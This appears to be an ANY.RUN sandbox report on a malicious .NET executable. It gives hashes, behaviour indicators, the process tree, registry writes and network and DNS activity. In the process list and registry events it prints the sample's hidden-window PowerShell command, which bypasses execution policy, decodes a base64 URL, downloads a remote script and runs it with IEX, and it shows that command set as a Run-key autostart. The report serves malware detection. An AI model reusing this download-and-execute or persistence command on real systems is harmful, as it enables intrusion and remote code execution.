File name:

7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe

Full analysis: https://app.any.run/tasks/d5f9869b-94c4-4bbc-bbbc-78da34b63ee3
Verdict: Malicious activity
Analysis date: January 10, 2025, 23:20:36
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
susp-powershell
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
MD5:

F60CA825AA99F293F45FD16610D64A45

SHA1:

2661B9D7A7801B1AA997FF3FC7C9D30AEDBC4FA6

SHA256:

7C2C27AAEDBC67A8E7E5C3E2E529D1A97C1B2778DBAEAC037BFEDAEA51E0F867

SSDEEP:

384:Ixxt6hFlDlRhiKct3XQ/vPav/IARf/GQ4AnrW16kyKjDWZcYzVBat4:ISlDlO3WPVARf/GQ4AnrWgkyKjDWZ9d

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes the autorun value in the registry

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 6404)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6700)

    • Changes powershell execution policy (Bypass)

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 6404)

  • SUSPICIOUS

    • The process hide an interactive prompt from the user

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 6404)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6700)

    • Possibly malicious use of IEX has been detected

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 6404)

    • Probably download files using WebClient

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 6404)

    • Starts POWERSHELL.EXE for commands execution

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 6404)

  • INFO

    • Disables trace logs

      • powershell.exe (PID: 6700)

    • Checks supported languages

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 6404)

    • Reads the computer name

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 6404)

    • Remote server returned an error (POWERSHELL)

      • powershell.exe (PID: 6700)

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe (PID: 6404)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6700)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (82.9)
.dll | Win32 Dynamic Link Library (generic) (7.4)
.exe | Win32 Executable (generic) (5.1)
.exe | Generic Win/DOS Executable (2.2)
.exe | DOS Executable Generic (2.2)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2088:08:10 18:23:42+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32
LinkerVersion: 48
CodeSize: 20480
InitializedDataSize: 2048
UninitializedDataSize: -
EntryPoint: 0x6e8e
OSVersion: 4
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows command line
FileVersionNumber: 1.0.0.0
ProductVersionNumber: 1.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
Comments: -
CompanyName: -
FileDescription: CavnDkCvt
FileVersion: 1.0.0.0
InternalName: CavnDkCvt.exe
LegalCopyright: Copyright © 2024
LegalTrademarks: -
OriginalFileName: CavnDkCvt.exe
ProductName: CavnDkCvt
ProductVersion: 1.0.0.0
AssemblyVersion: 1.0.0.0
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
130
Monitored processes
3
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe conhost.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
6404"C:\Users\admin\AppData\Local\Temp\7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe" C:\Users\admin\AppData\Local\Temp\7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
CavnDkCvt
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
6424\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6700powershell -w hid -noni -ep Bypass -c "$w=New-Object Net.WebClient;$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly96amh5LmNvaW1icmF0cmF0YWRvcmVzLmNvbS93d2lyZGJ1c3VjZHlzaQ=='));IEX $w.DownloadString($u)"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\gpapi.dll
c:\windows\microsoft.net\assembly\gac_msil\system.management.automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll
c:\windows\assembly\nativeimages_v4.0.30319_32\system\a4caf3619115bb96d9443fdc0d0fe612\system.ni.dll
c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\a3d5ecf3027b12f6bd535bca01da6872\system.core.ni.dll
c:\windows\microsoft.net\assembly\gac_msil\system.configuration.install\v4.0_4.0.0.0__b03f5f7f11d50a3a\system.configuration.install.dll
c:\windows\assembly\nativeimages_v4.0.30319_32\system.xml\702c2af6b170d9c3fc21c25e30b76a98\system.xml.ni.dll
c:\windows\microsoft.net\assembly\gac_32\system.transactions\v4.0_4.0.0.0__b77a5c561934e089\system.transactions.dll
c:\windows\microsoft.net\assembly\gac_msil\microsoft.management.infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\microsoft.management.infrastructure.dll
c:\windows\syswow64\clbcatq.dll
c:\windows\syswow64\psapi.dll
Total events
4 941
Read events
4 926
Write events
15
Delete events
0

Modification events

(PID) Process:(6404) 7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:fddpyd
Value:
powershell -w hid -noni -ep Bypass -c "$w=New-Object Net.WebClient;$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly96amh5LmNvaW1icmF0cmF0YWRvcmVzLmNvbS9lYmRncXZvcGZqbXZtYQ=='));IEX $w.DownloadString($u)"
(PID) Process:(6700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(6700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(6700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(6700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(6700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(6700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6700) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
Executable files
0
Suspicious files
1
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
6700powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0vu15z3l.zsg.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6700powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wwoc0bi3.plf.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6700powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:27C73DA0F5811F48F62F007FA196E719
SHA256:24A6ADCC01A4E783BBCA084B2102CB1DDCE6376EAF8A710E72786B57FF7C5430
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
33
DNS requests
18
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
2.23.181.156:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6208
SIHClient.exe
GET
200
2.23.181.156:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
2428
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
6208
SIHClient.exe
GET
200
2.23.181.156:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
—
—
2.23.181.156:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
6072
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1176
svchost.exe
40.126.31.69:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1076
svchost.exe
23.35.238.131:443
go.microsoft.com
AKAMAI-AS
DE
whitelisted
—
—
104.21.80.1:443
zjhy.coimbratratadores.com
CLOUDFLARENET
—
unknown
5064
SearchApp.exe
2.16.204.145:443
www.bing.com
Akamai International B.V.
DE
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.206
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
crl.microsoft.com
  • 23.48.23.143
  • 23.48.23.156
whitelisted
www.microsoft.com
  • 2.23.181.156
whitelisted
login.live.com
  • 40.126.31.69
  • 20.190.159.4
  • 20.190.159.71
  • 20.190.159.64
  • 20.190.159.0
  • 20.190.159.68
  • 20.190.159.23
  • 40.126.31.71
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
zjhy.coimbratratadores.com
  • 104.21.80.1
  • 104.21.112.1
  • 104.21.64.1
  • 104.21.16.1
  • 104.21.48.1
  • 104.21.32.1
  • 104.21.96.1
unknown
www.bing.com
  • 2.16.204.145
  • 2.16.204.153
  • 2.16.204.134
  • 2.16.204.138
  • 2.16.204.161
  • 2.16.204.150
  • 2.16.204.146
  • 2.16.204.135
whitelisted
settings-win.data.microsoft.com
  • 40.127.240.158
  • 4.231.128.59
whitelisted
slscr.update.microsoft.com
  • 4.245.163.56
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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ANY.RUN
Reports
7c2c27aaedbc67a8e7e5c3e2e529d1a97c1b2778dbaeac037bfedaea51e0f867.exe